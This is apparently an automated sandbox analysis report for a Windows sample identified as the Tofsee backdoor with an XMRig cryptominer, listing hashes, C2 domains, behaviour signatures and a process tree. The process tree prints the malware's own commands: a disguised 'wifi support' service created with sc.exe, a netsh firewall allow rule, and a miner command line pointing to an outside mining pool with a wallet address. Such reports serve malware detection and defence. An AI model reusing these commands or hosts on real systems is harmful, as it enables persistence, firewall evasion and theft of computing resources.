Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-03-2023 13:22

General

  • Target

    file.exe

  • Size

    274KB

  • MD5

    757b7426807eec873b9c41c08f7a2201

  • SHA1

    3e385e4db010a5c56ed6fc575cc3222a0ad53da1

  • SHA256

    a6ed0e2a796da7a17d0a0174c54ef85f21ae62f27a25deeac10bb692687a8acb

  • SHA512

    1ab6130c89038846b67f0e31eb2975e6bfc96788c1a80f36006f81504b8278456d434ab570171b67f174eee6ccc21a6ec421f3ac4d2367a325d2c659d0a7cdb1

  • SSDEEP

    3072:j36sCASW3u9ZNtqHDui77bZoIsd8mNmVl7TACSk2sRydWiv2/ZpNN4TJY:QW8ZPqHUd8mNmVl7kCmO7i+/LNN4T

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4348
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\akquvaor\
      2⤵
        PID:3076
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wiuzwcbp.exe" C:\Windows\SysWOW64\akquvaor\
        2⤵
          PID:4732
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create akquvaor binPath= "C:\Windows\SysWOW64\akquvaor\wiuzwcbp.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3648
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description akquvaor "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:524
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start akquvaor
          2⤵
          • Launches sc.exe
          PID:4912
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:772
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4348 -s 1180
          2⤵
          • Program crash
          PID:2044
      • C:\Windows\SysWOW64\akquvaor\wiuzwcbp.exe
        C:\Windows\SysWOW64\akquvaor\wiuzwcbp.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2532
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3488
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4464
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2532 -s 564
          2⤵
          • Program crash
          PID:380
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4348 -ip 4348
        1⤵
          PID:2192
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2532 -ip 2532
          1⤵
            PID:1332

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\wiuzwcbp.exe

            Filesize

            14.0MB

            MD5

            9c07e903551792dcf15a3ba864a401a8

            SHA1

            4e85d9fb33b5ade2130264916a15eda626dc24a1

            SHA256

            abb4ba5d033f1d7c01214ee8b2b8bc1f85273b094dc283b80f5bfab567f64752

            SHA512

            699292b4e214cbc1346e20911e5131befdd3f9a162bac99b42d85d7618d4b8b25868e08d60a11ecb42919684ab0585390dfbd13b1572b83c92617c9e9af9a055

          • C:\Windows\SysWOW64\akquvaor\wiuzwcbp.exe

            Filesize

            14.0MB

            MD5

            9c07e903551792dcf15a3ba864a401a8

            SHA1

            4e85d9fb33b5ade2130264916a15eda626dc24a1

            SHA256

            abb4ba5d033f1d7c01214ee8b2b8bc1f85273b094dc283b80f5bfab567f64752

            SHA512

            699292b4e214cbc1346e20911e5131befdd3f9a162bac99b42d85d7618d4b8b25868e08d60a11ecb42919684ab0585390dfbd13b1572b83c92617c9e9af9a055

          • memory/2532-144-0x0000000000400000-0x0000000002B72000-memory.dmp

            Filesize

            39.4MB

          • memory/3488-168-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-149-0x0000000002E00000-0x000000000300F000-memory.dmp

            Filesize

            2.1MB

          • memory/3488-143-0x0000000001200000-0x0000000001215000-memory.dmp

            Filesize

            84KB

          • memory/3488-167-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-146-0x0000000001200000-0x0000000001215000-memory.dmp

            Filesize

            84KB

          • memory/3488-169-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-148-0x0000000001200000-0x0000000001215000-memory.dmp

            Filesize

            84KB

          • memory/3488-171-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-152-0x0000000002E00000-0x000000000300F000-memory.dmp

            Filesize

            2.1MB

          • memory/3488-153-0x0000000002570000-0x0000000002576000-memory.dmp

            Filesize

            24KB

          • memory/3488-156-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-160-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-159-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-161-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-162-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-163-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-165-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-164-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-166-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-184-0x00000000025E0000-0x00000000025E7000-memory.dmp

            Filesize

            28KB

          • memory/3488-145-0x0000000001200000-0x0000000001215000-memory.dmp

            Filesize

            84KB

          • memory/3488-140-0x0000000001200000-0x0000000001215000-memory.dmp

            Filesize

            84KB

          • memory/3488-183-0x0000000007E00000-0x000000000820B000-memory.dmp

            Filesize

            4.0MB

          • memory/3488-170-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-172-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-173-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-175-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-174-0x0000000002580000-0x0000000002590000-memory.dmp

            Filesize

            64KB

          • memory/3488-176-0x00000000025D0000-0x00000000025D5000-memory.dmp

            Filesize

            20KB

          • memory/3488-179-0x00000000025D0000-0x00000000025D5000-memory.dmp

            Filesize

            20KB

          • memory/3488-180-0x0000000007E00000-0x000000000820B000-memory.dmp

            Filesize

            4.0MB

          • memory/4348-138-0x0000000000400000-0x0000000002B72000-memory.dmp

            Filesize

            39.4MB

          • memory/4348-135-0x0000000004770000-0x0000000004783000-memory.dmp

            Filesize

            76KB

          • memory/4464-188-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/4464-193-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/4464-194-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/4464-195-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/4464-197-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/4464-196-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/4464-198-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/4464-199-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB